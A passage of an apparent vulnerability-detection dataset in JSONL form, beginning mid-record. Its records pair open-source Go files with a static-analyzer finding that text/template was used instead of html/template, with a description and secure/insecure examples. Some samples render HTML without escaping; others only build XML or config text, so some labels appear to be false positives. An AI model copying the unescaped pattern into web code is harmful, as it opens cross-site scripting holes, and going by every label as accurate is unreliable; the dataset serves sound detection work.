70 then\n\t// 70 Gi is the usable pool capacity.\n\tPoolCapacityThresholdPercentage = 70\n)\n\n// CSP encapsulates the CStorPool API object.\ntype CSP struct {\n\t// actual cstor pool Object\n\tObject *apis.CStorPool\n}\n\n// predicate defines an abstraction\n// to determine conditional checks\n// against the provided CSP instance\ntype predicate func(*CSP) bool\n\ntype predicateList []predicate\n\n// all returns true if all the predicates\n// succeed against the provided CSP\n// instance\nfunc (l predicateList) all(c *CSP) bool {\n\tfor _, pred := range l {\n\t\tif !pred(c) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\n// IsNotUID returns true if provided CSP\n// instance's UID does not match with any\n// of the provided UIDs\nfunc IsNotUID(uids ...string) predicate {\n\treturn func(c *CSP) bool {\n\t\tfor _, uid := range uids {\n\t\t\tif uid == string(c.Object.GetUID()) {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\treturn true\n\t}\n}\n\n// HasSpace returns true if the CSP has free space to accomodate the incoming volume.\nfunc (c *CSP) HasSpace(incomingVolCap, capacityUsedByExistingVols resource.Quantity) bool {\n\ttotalUsableCapacityOnPool, err := c.UsableFreeCapacityOnCSP(capacityUsedByExistingVols)\n\tif err != nil {\n\t\tklog.Error(err)\n\t\treturn false\n\t}\n\tif totalUsableCapacityOnPool.Cmp(incomingVolCap) == 1 {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// UsableFreeCapacityOnCSP returns the total usable free capacity present on the CSP.\n// Example:\n// If UsableFreeCapacityOnCSP is 30 Gi than the pool (CSP) can accomodate any volume\n// of size less than(or equal to) 30 Gi\nfunc (c *CSP) UsableFreeCapacityOnCSP(capacityUsedByExistingVols resource.Quantity) (resource.Quantity, error) {\n\tusableCapcityOnCSP, err := c.GetTotalUsableCapacityWithThreshold()\n\tif err != nil {\n\t\treturn resource.Quantity{}, errors.Wrapf(err, \"failed to get total usable capacity on CSP %s\", c.Object.Name)\n\t}\n\tusableCapcityOnCSP.Sub(capacityUsedByExistingVols)\n\treturn usableCapcityOnCSP, nil\n}\n\n// GetTotalUsableCapacityWithThreshold returns the usable capacity on pool.\n// Example:\n// If TotalUsableCapacityWithThreshold is 70 Gi than it is possible that some amount\n// of space is already being used by some other existing volumes.\nfunc (c *CSP) GetTotalUsableCapacityWithThreshold() (resource.Quantity, error) {\n\ttotalCapacity, err := resource.ParseQuantity(c.Object.Status.Capacity.Total)\n\tif err != nil {\n\t\treturn resource.Quantity{}, errors.Wrapf(err, \"failed to parse capcity {%s} from CSP %s\", c.Object.Status.Capacity.Total, c.Object.Name)\n\t}\n\tcapacityThreshold := c.GetCapacityThreshold()\n\n\ttotalCapacityValue := totalCapacity.Value()\n\ttotalUsableCapacityValue := totalCapacityValue * (int64(capacityThreshold)) / 100\n\ttotalCapacity.Set(totalUsableCapacityValue)\n\treturn totalCapacity, nil\n}\n\n// GetCapacityThreshold returns the capacity threshold.\n// Example :\n// If pool size is 100 Gi and capacity threshold is 70 %\n// then the effective size of pool is 70 Gi for accommodating volumes.\nfunc (c *CSP) GetCapacityThreshold() int {\n\t// ToDo: Add capability to override via annotaions\n\treturn PoolCapacityThresholdPercentage\n}\n\n// HasAnnotation returns true if provided annotation\n// key and value are present in the provided CSP\n// instance\nfunc HasAnnotation(key, value string) predicate {\n\treturn func(c *CSP) bool {\n\t\tval, ok := c.Object.GetAnnotations()[key]\n\t\tif ok {\n\t\t\treturn val == value\n\t\t}\n\t\treturn false\n\t}\n}\n\n// CSPList holds the list of cstorpools\ntype CSPList struct {\n\t// list of cstor pools\n\tItems []*CSP\n}\n\n// Filter will filter the CSP instances\n// if all the predicates succeed against that\n// CSP.\nfunc (l *CSPList) Filter(p ...predicate) *CSPList {\n\tvar plist predicateList\n\tplist = append(plist, p...)\n\tif len(plist) == 0 {\n\t\treturn l\n\t}\n\n\tfiltered := ListBuilder().List()\n\tfor _, CSP := range l.Items {\n\t\tif plist.all(CSP) {\n\t\t\tfiltered.Items = append(filtered.Items, CSP)\n\t\t}\n\t}\n\treturn filtered\n}\n\n// listBuilder enables building a\n// list of CSP instances\ntype listBuilder struct {\n\tlist *CSPList\n}\n\n// ListBuilder returns a new instance of\n// listBuilder Object\nfunc ListBuilder() *listBuilder {\n\treturn &listBuilder{list: &CSPList{}}\n}\n\n// WithUIDs builds a list of cstor pools\n// based on the provided pool UIDs\nfunc (b *listBuilder) WithUIDs(poolUIDs ...string) *listBuilder {\n\tfor _, uid := range poolUIDs {\n\t\tobj := &CSP{&apis.CStorPool{}}\n\t\tobj.Object.SetUID(types.UID(uid))\n\t\tb.list.Items = append(b.list.Items, obj)\n\t}\n\treturn b\n}\n\n// WithUIDNodeMap builds a CSPList based on the provided\n// map of uid and nodename\nfunc (b *listBuilder) WithUIDNode(UIDNode, UIDCapacity map[string]string) *listBuilder {\n\tfor k, v := range UIDNode {\n\t\tobj := &CSP{&apis.CStorPool{}}\n\t\tobj.Object.SetUID(types.UID(k))\n\t\tobj.Object.SetAnnotations(map[string]string{string(scheduleOnHostAnnotation): v})\n\t\tobj.Object.Status.Capacity.Total = UIDCapacity[k]\n\t\tb.list.Items = append(b.list.Items, obj)\n\t}\n\treturn b\n}\n\n// WithList builds the list based on the provided\n// *apis.CStorPool instances\nfunc (b *listBuilder) WithList(pools *CSPList) *listBuilder {\n\tif pools == nil {\n\t\treturn b\n\t}\n\tb.list.Items = append(b.list.Items, pools.Items...)\n\treturn b\n}\n\n// WithAPIList builds the list based on the provided\n// *apis.CStorPoolList\nfunc (b *listBuilder) WithAPIList(pools *apis.CStorPoolList) *listBuilder {\n\tif pools == nil {\n\t\treturn b\n\t}\n\tfor _, pool := range pools.Items {\n\t\tpool := pool //pin it\n\t\tb.list.Items = append(b.list.Items, &CSP{&pool})\n\t}\n\n\treturn b\n}\n\n// List returns the list of CSP\n// instances that were built by\n// this builder\nfunc (b *listBuilder) List() *CSPList {\n\treturn b.list\n}\n\n// GetPoolUIDs retuns the UIDs of the pools\n// available in the list\nfunc (l *CSPList) GetPoolUIDs() []string {\n\tuids := []string{}\n\tfor _, pool := range l.Items {\n\t\tuids = append(uids, string(pool.Object.GetUID()))\n\t}\n\treturn uids\n}\n\n// newListFromUIDNode exposes WithUIDNodeMap\n// to CAS Templates\nfunc newListFromUIDNode(UIDNodeMap, UIDCapacityMap map[string]string) *CSPList {\n\treturn ListBuilder().WithUIDNode(UIDNodeMap, UIDCapacityMap).List()\n}\n\n// newListFromUIDs exposes WithUIDs to CASTemplates\nfunc newListFromUIDs(uids []string) *CSPList {\n\treturn ListBuilder().WithUIDs(uids...).List()\n}\n\n// TemplateFunctions exposes a few functions as go\n// template functions\nfunc TemplateFunctions() template.FuncMap {\n\treturn template.FuncMap{\n\t\t\"createCSPListFromUIDs\": newListFromUIDs,\n\t\t\"createCSPListFromUIDNodeMap\": newListFromUIDNode,\n\t}\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 21, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "71bc7d3c2312e5a2c95e3ee942863943e6a3ff7aaeecd34174a1dc6951ea66f4", "license": {"spdx": ["MIT"], "repo": "auroat/go-algorithms", "path": "go-specific-api/crud-web-forms/web_forms.go", "repo_head_hexsha": "2c3b35ae0488102316a0f475de539db14b306cea", "stack_hexsha": "f02f4c3aaa388e7268485983f64c028acbb74fb2", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package main\n\nimport (\n\t\"log\"\n\t\"net/http\"\n\t\"text/template\"\n)\n\nfunc Home(writer http.ResponseWriter, reader *http.Request) {\n\tvar template_html *template.Template\n\ttemplate_html = template.Must(template.ParseFiles(\".main.html\"))\n\ttemplate_html.Execute(writer, nil)\n}\n\nfunc main() {\n\tlog.Println(\"Server started on: http://localhost:8000\")\n\thttp.HandleFunc(\"/\", Home)\n\thttp.ListenAndServe(\":8000\", nil)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "6db5dee87d67aef621cc4fa2b51bc4a323f52948a1cb39fe904b6b4be9c0f086", "license": {"spdx": ["MIT"], "repo": "xxxbobrxxx/idea-project-manager", "path": "pkg/idea/xml.go", "repo_head_hexsha": "20977389c558201e6600944b8f66825718f9736f", "stack_hexsha": "df333a238b59a68242c338758e70193bd20ba7b2", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package idea\n\nimport (\n\t\"bytes\"\n\t\"strings\"\n\t\"text/template\"\n)\n\nconst (\n\ttplImlPython = `\n\n\n \n \n \n \n \n \n \n \n \n \n`\n\n\ttplModules = `\n\n\n \n \n {{- range $module := .Modules }}\n \n {{- end }}\n \n \n\n`\n\n\ttplVcs = `\n\n\n \n {{- range $module := .Modules }}\n {{- if $module.Vcs }}\n \n {{- end }}\n {{- end }}\n \n\n`\n)\n\nfunc genTemplate(tpl string, ctx interface{}) string {\n\ttmpl, err := template.New(\"test\").Parse(tpl)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tvar buf bytes.Buffer\n\terr = tmpl.Execute(&buf, ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn strings.TrimSpace(buf.String())\n}\n\ntype GenModuleContext struct {\n\tModule Module\n}\n\nfunc GenIml(module Module) string {\n\tctx := GenModuleContext{\n\t\tModule: module,\n\t}\n\n\treturn genTemplate(tplImlPython, ctx)\n}\n\ntype GenModulesContext struct {\n\tModules []Module\n}\n\nfunc GenModules(modules []Module) string {\n\tctx := GenModulesContext{\n\t\tModules: modules,\n\t}\n\n\treturn genTemplate(tplModules, ctx)\n}\n\nfunc GenVcs(modules []Module) string {\n\tctx := GenModulesContext{\n\t\tModules: modules,\n\t}\n\n\treturn genTemplate(tplVcs, ctx)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "ceda498d9323e51300a0ee8b51dd8d09fec9652c5bc8ff37baf619f7cefd0bf4", "license": {"spdx": ["MIT"], "repo": "DJBrunelle/www", "path": "main.go", "repo_head_hexsha": "0d65cfa103432b780fc05b70eadd96c4b89e80d7", "stack_hexsha": "9475258346c04a79c5c0c0fe3e84fc348d8b87ad", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 8, "entireCode": "package main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"text/template\"\n\t\"www/src\"\n)\n\n//Index route handler\nfunc index(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"method:\", r.Method) //get request method\n\tif r.Method == \"GET\" {\n\t\tt, _ := template.ParseFiles(\"views/html/about.html\")\n\t\tt.Execute(w, nil)\n\t}\n}\n\n//Projects route handler\nfunc projects(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"method:\", r.Method) //get request method\n\tif r.Method == \"GET\" {\n\t\tuser, err := github.GetUser(\"DJBrunelle\")\n\t\tif err != nil {\n\t\t\tprintln(\"Unable to get user\")\n\t\t}\n\t\tt, _ := template.ParseFiles(\"views/html/projects.html\")\n\t\tt.Execute(w, user)\n\t}\n}\n\n//HireMe route handler\nfunc hireMe(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"method:\", r.Method) //get request method\n\tif r.Method == \"GET\" {\n\t\tt, _ := template.ParseFiles(\"views/html/hire_me.html\")\n\t\tt.Execute(w, nil)\n\t}\n}\n\n//Set up routes and open port to listen for requests\nfunc main() {\n\thttp.HandleFunc(\"/\", projects) // setting router rule\n\thttp.HandleFunc(\"/about\", index) // setting router rule\n\thttp.HandleFunc(\"/projects\", projects) // setting router rule\n\thttp.HandleFunc(\"/hire_me\", hireMe) // setting router rule\n\thttp.Handle(\"/views/css/\", http.StripPrefix(\"/views/css/\", http.FileServer(http.Dir(\"views/css\"))))\n\terr := http.ListenAndServe(\":\"+os.Getenv(\"PORT\"), nil) // setting listening port\n\tif err != nil {\n\t\tlog.Fatal(\"ListenAndServe: \", err)\n\t}\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "545ab2b75fb72d39978947c1eca9e745c86a7fefff4280c5e10431c16c7efea9", "license": {"spdx": ["MIT"], "repo": "hsqds/conf", "path": "config.go", "repo_head_hexsha": "d60434eaefbad46dd642f8e3b46ef9be199196b0", "stack_hexsha": "69e53231dc82f975617222446a2d80776768e03a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package conf\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"sync\"\n\t\"text/template\"\n)\n\n// Config\ntype Config interface {\n\t// Get config value by key\n\tGet(key, defaultValue string) string\n\t// Set sets key value\n\tSet(key, value string)\n\t// Fmt renders `pattern` filling it with config values\n\tFmt(pattern string) (string, error)\n}\n\n// MapConfig represents map based config\n// Implements Config interface.\ntype MapConfig struct {\n\tdata map[string]string\n\tmtx sync.Mutex\n}\n\n// NewMapConfig\nfunc NewMapConfig(d map[string]string) *MapConfig {\n\tc := MapConfig{\n\t\tdata: make(map[string]string),\n\t}\n\n\tif d == nil {\n\t\treturn &c\n\t}\n\n\tc.mtx.Lock()\n\tdefer c.mtx.Unlock()\n\n\tfor k := range d {\n\t\tc.data[k] = d[k]\n\t}\n\n\treturn &c\n}\n\n// Get returns value by key or defaultValue.\nfunc (m *MapConfig) Get(key, defaultValue string) string {\n\tm.mtx.Lock()\n\tdefer m.mtx.Unlock()\n\n\tval, ok := m.data[key]\n\tif !ok {\n\t\treturn defaultValue\n\t}\n\n\treturn val\n}\n\n// Set sets key value\nfunc (m *MapConfig) Set(key, value string) {\n\tm.mtx.Lock()\n\tdefer m.mtx.Unlock()\n\n\tm.data[key] = value\n}\n\n// Fmt renders `pattern` filling it with config values.\nfunc (m *MapConfig) Fmt(pattern string) (string, error) {\n\tm.mtx.Lock()\n\tdefer m.mtx.Unlock()\n\n\tt, err := template.New(\"pattern\").Parse(pattern)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"could not parse pattern: %w\", err)\n\t}\n\n\tb := &strings.Builder{}\n\n\terr = t.Execute(b, m.data)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"could not render template: %w\", err)\n\t}\n\n\treturn b.String(), nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "2527070b8f8cb11fa560c0d62c8728e5ec106cbe94c7bd7c9ef8a13b95bbd1ff", "license": {"spdx": ["Apache-2.0"], "repo": "happypancake/prebid-server", "path": "adapters/adoppler/adoppler.go", "repo_head_hexsha": "5d4e02fe403397e843b3e75802ed312b71e2ba3c", "stack_hexsha": "56fae4295b41e08cab7442edc615c7cbc3994dd3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 9, "entireCode": "package adoppler\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"text/template\"\n\n\t\"github.com/mxmCherry/openrtb/v14/openrtb2\"\n\t\"github.com/prebid/prebid-server/adapters\"\n\t\"github.com/prebid/prebid-server/config\"\n\t\"github.com/prebid/prebid-server/errortypes\"\n\t\"github.com/prebid/prebid-server/macros\"\n\t\"github.com/prebid/prebid-server/openrtb_ext\"\n)\n\nconst DefaultClient = \"app\"\n\nvar bidHeaders http.Header = map[string][]string{\n\t\"Accept\": {\"application/json\"},\n\t\"Content-Type\": {\"application/json;charset=utf-8\"},\n\t\"X-OpenRTB-Version\": {\"2.5\"},\n}\n\ntype adsVideoExt struct {\n\tDuration int `json:\"duration\"`\n}\n\ntype adsImpExt struct {\n\tVideo *adsVideoExt `json:\"video\"`\n}\n\ntype AdopplerAdapter struct {\n\tendpoint *template.Template\n}\n\n// Builder builds a new instance of the Adoppler adapter for the given bidder with the given config.\nfunc Builder(bidderName openrtb_ext.BidderName, config config.Adapter) (adapters.Bidder, error) {\n\ttemplate, err := template.New(\"endpointTemplate\").Parse(config.Endpoint)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to parse endpoint url template: %v\", err)\n\t}\n\n\tbidder := &AdopplerAdapter{\n\t\tendpoint: template,\n\t}\n\treturn bidder, nil\n}\n\nfunc (ads *AdopplerAdapter) MakeRequests(\n\treq *openrtb2.BidRequest,\n\tinfo *adapters.ExtraRequestInfo,\n) (\n\t[]*adapters.RequestData,\n\t[]error,\n) {\n\tif len(req.Imp) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tvar datas []*adapters.RequestData\n\tvar errs []error\n\tfor _, imp := range req.Imp {\n\t\text, err := unmarshalExt(imp.Ext)\n\t\tif err != nil {\n\t\t\terrs = append(errs, &errortypes.BadInput{err.Error()})\n\t\t\tcontinue\n\t\t}\n\n\t\tvar r openrtb2.BidRequest = *req\n\t\tr.ID = req.ID + \"-\" + ext.AdUnit\n\t\tr.Imp = []openrtb2.Imp{imp}\n\n\t\tbody, err := json.Marshal(r)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t\tcontinue\n\t\t}\n\n\t\turi, err := ads.bidUri(ext)\n\t\tif err != nil {\n\t\t\te := fmt.Sprintf(\"Unable to build bid URI: %s\",\n\t\t\t\terr.Error())\n\t\t\terrs = append(errs, &errortypes.BadInput{e})\n\t\t\tcontinue\n\t\t}\n\t\tdata := &adapters.RequestData{\n\t\t\tMethod: \"POST\",\n\t\t\tUri: uri,\n\t\t\tBody: body,\n\t\t\tHeaders: bidHeaders,\n\t\t}\n\t\tdatas = append(datas, data)\n\t}\n\n\treturn datas, errs\n}\n\nfunc (ads *AdopplerAdapter) MakeBids(\n\tintReq *openrtb2.BidRequest,\n\textReq *adapters.RequestData,\n\tresp *adapters.ResponseData,\n) (\n\t*adapters.BidderResponse,\n\t[]error,\n) {\n\tif resp.StatusCode == http.StatusNoContent {\n\t\treturn nil, nil\n\t}\n\tif resp.StatusCode == http.StatusBadRequest {\n\t\treturn nil, []error{&errortypes.BadInput{\"bad request\"}}\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\terr := &errortypes.BadServerResponse{\n\t\t\tfmt.Sprintf(\"unexpected status: %d\", resp.StatusCode),\n\t\t}\n\t\treturn nil, []error{err}\n\t}\n\n\tvar bidResp openrtb2.BidResponse\n\terr := json.Unmarshal(resp.Body, &bidResp)\n\tif err != nil {\n\t\terr := &errortypes.BadServerResponse{\n\t\t\tfmt.Sprintf(\"invalid body: %s\", err.Error()),\n\t\t}\n\t\treturn nil, []error{err}\n\t}\n\n\timpTypes := make(map[string]openrtb_ext.BidType)\n\tfor _, imp := range intReq.Imp {\n\t\tif _, ok := impTypes[imp.ID]; ok {\n\t\t\treturn nil, []error{&errortypes.BadInput{\n\t\t\t\tfmt.Sprintf(\"duplicate $.imp.id %s\", imp.ID),\n\t\t\t}}\n\t\t}\n\t\tif imp.Banner != nil {\n\t\t\timpTypes[imp.ID] = openrtb_ext.BidTypeBanner\n\t\t} else if imp.Video != nil {\n\t\t\timpTypes[imp.ID] = openrtb_ext.BidTypeVideo\n\t\t} else if imp.Audio != nil {\n\t\t\timpTypes[imp.ID] = openrtb_ext.BidTypeAudio\n\t\t} else if imp.Native != nil {\n\t\t\timpTypes[imp.ID] = openrtb_ext.BidTypeNative\n\t\t} else {\n\t\t\treturn nil, []error{&errortypes.BadInput{\n\t\t\t\t\"one of $.imp.banner, $.imp.video, $.imp.audio and $.imp.native field required\",\n\t\t\t}}\n\t\t}\n\t}\n\n\tvar bids []*adapters.TypedBid\n\tfor _, seatBid := range bidResp.SeatBid {\n\t\tfor _, bid := range seatBid.Bid {\n\t\t\ttp, ok := impTypes[bid.ImpID]\n\t\t\tif !ok {\n\t\t\t\terr := &errortypes.BadServerResponse{\n\t\t\t\t\tfmt.Sprintf(\"unknown impid: %s\", bid.ImpID),\n\t\t\t\t}\n\t\t\t\treturn nil, []error{err}\n\t\t\t}\n\n\t\t\tvar bidVideo *openrtb_ext.ExtBidPrebidVideo\n\t\t\tif tp == openrtb_ext.BidTypeVideo {\n\t\t\t\tadsExt, err := unmarshalAdsExt(bid.Ext)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, []error{&errortypes.BadServerResponse{err.Error()}}\n\t\t\t\t}\n\t\t\t\tif adsExt == nil || adsExt.Video == nil {\n\t\t\t\t\treturn nil, []error{&errortypes.BadServerResponse{\n\t\t\t\t\t\t\"$.seatbid.bid.ext.ads.video required\",\n\t\t\t\t\t}}\n\t\t\t\t}\n\t\t\t\tbidVideo = &openrtb_ext.ExtBidPrebidVideo{\n\t\t\t\t\tDuration: adsExt.Video.Duration,\n\t\t\t\t\tPrimaryCategory: head(bid.Cat),\n\t\t\t\t}\n\t\t\t}\n\t\t\tbids = append(bids, &adapters.TypedBid{\n\t\t\t\tBid: &bid,\n\t\t\t\tBidType: tp,\n\t\t\t\tBidVideo: bidVideo,\n\t\t\t})\n\t\t}\n\t}\n\n\tadsResp := adapters.NewBidderResponseWithBidsCapacity(len(bids))\n\tadsResp.Bids = bids\n\n\treturn adsResp, nil\n}\n\nfunc (ads *AdopplerAdapter) bidUri(ext *openrtb_ext.ExtImpAdoppler) (string, error) {\n\tparams := macros.EndpointTemplateParams{}\n\tparams.AdUnit = url.PathEscape(ext.AdUnit)\n\tif ext.Client == \"\" {\n\t\tparams.AccountID = DefaultClient\n\t} else {\n\t\tparams.AccountID = url.PathEscape(ext.Client)\n\t}\n\n\treturn macros.ResolveMacros(*ads.endpoint, params)\n}\n\nfunc unmarshalExt(ext json.RawMessage) (*openrtb_ext.ExtImpAdoppler, error) {\n\tvar bext adapters.ExtImpBidder\n\terr := json.Unmarshal(ext, &bext)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar adsExt openrtb_ext.ExtImpAdoppler\n\terr = json.Unmarshal(bext.Bidder, &adsExt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif adsExt.AdUnit == \"\" {\n\t\treturn nil, errors.New(\"$.imp.ext.adoppler.adunit required\")\n\t}\n\n\treturn &adsExt, nil\n}\n\nfunc unmarshalAdsExt(ext json.RawMessage) (*adsImpExt, error) {\n\tvar e struct {\n\t\tAds *adsImpExt `json:\"ads\"`\n\t}\n\terr := json.Unmarshal(ext, &e)\n\n\treturn e.Ads, err\n}\n\nfunc head(s []string) string {\n\tif len(s) == 0 {\n\t\treturn \"\"\n\t}\n\n\treturn s[0]\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "9a5e9fb3c6d94a777efd63236451eb4302d782b8f2a1b74f6e8a1cec82074f77", "license": {"spdx": ["MIT"], "repo": "lexfei/grapehttp", "path": "config/config.go", "repo_head_hexsha": "f21da3910e32596d35e7043ff7d93f5f88e34ffc", "stack_hexsha": "9d0b80fc79de151494e94be98f72c67e2d02e438", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 11, "entireCode": "package config\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"github.com/alecthomas/kingpin\"\n\t\"github.com/go-yaml/yaml\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"runtime\"\n\t\"text/template\"\n\n\t\"grapehttp/pkg/vinfo\"\n)\n\ntype Rbac struct {\n\tHost string `yaml:\"db_host\"`\n\tPort string `yaml:\"db_port\"`\n\tUser string `yaml:\"db_user\"`\n\tPass string `yaml:\"db_pass\"`\n\tName string `yaml:\"db_name\"`\n}\n\ntype Configure struct {\n\tConf *os.File `yaml:\"-\"`\n\tAddr string `yaml:\"addr\"`\n\tDbInit bool `yaml:\"-\"`\n\tDbInitForce bool `yaml:\"-\"`\n\tCount bool `yaml:\"count\"`\n\tAdminUsername string `yaml:\"admin_username\"`\n\tAdminPassword string `yaml:\"\"`\n\tAdminEmail string `yaml:\"admin_email\"`\n\tRoot string `yaml:\"root\"`\n\tRbac Rbac `yaml:\"rbac\"`\n\tHTTPAuth string `yaml:\"httpauth\"`\n\tSimpleAuth bool `yaml:\"simpleauth\"`\n\tCert string `yaml:\"cert\"`\n\tKey string `yaml:\"key\"`\n\tCors bool `yaml:\"cors\"`\n\tTheme string `yaml:\"theme\"`\n\tXHeaders bool `yaml:\"xheaders\"`\n\tUpload bool `yaml:\"upload\"`\n\tDelete bool `yaml:\"delete\"`\n\tNoAccess bool `yaml:\"noaccess\"`\n\tPlistProxy string `yaml:\"plistproxy\"`\n\tTitle string `yaml:\"title\"`\n\tDebug bool `yaml:\"debug\"`\n\tGoogleTrackerId string `yaml:\"google-tracker-id\"`\n\tAuth struct {\n\t\tType string `yaml:\"type\"`\n\t\tOpenID string `yaml:\"openid\"`\n\t\tHTTP string `yaml:\"http\"`\n\t} `yaml:\"auth\"`\n}\n\nvar (\n\tGcfg = Configure{}\n\tdefaultPlistProxy = \"https://plistproxy.herokuapp.com/plist\"\n\tdefaultOpenID = \"https://some-hostname.com/openid/\"\n\n\tVERSION = \"unknown\"\n\tBUILDTIME = \"unknown time\"\n\tGITCOMMIT = \"unknown git commit\"\n\tSITE = \"https://github.com/lexfei/grapehttp\"\n)\n\nfunc versionMessage() string {\n\tt := template.Must(template.New(\"version\").Parse(`GoHTTPServer\n\tVersion: {{.Version}}\n\tGo version: 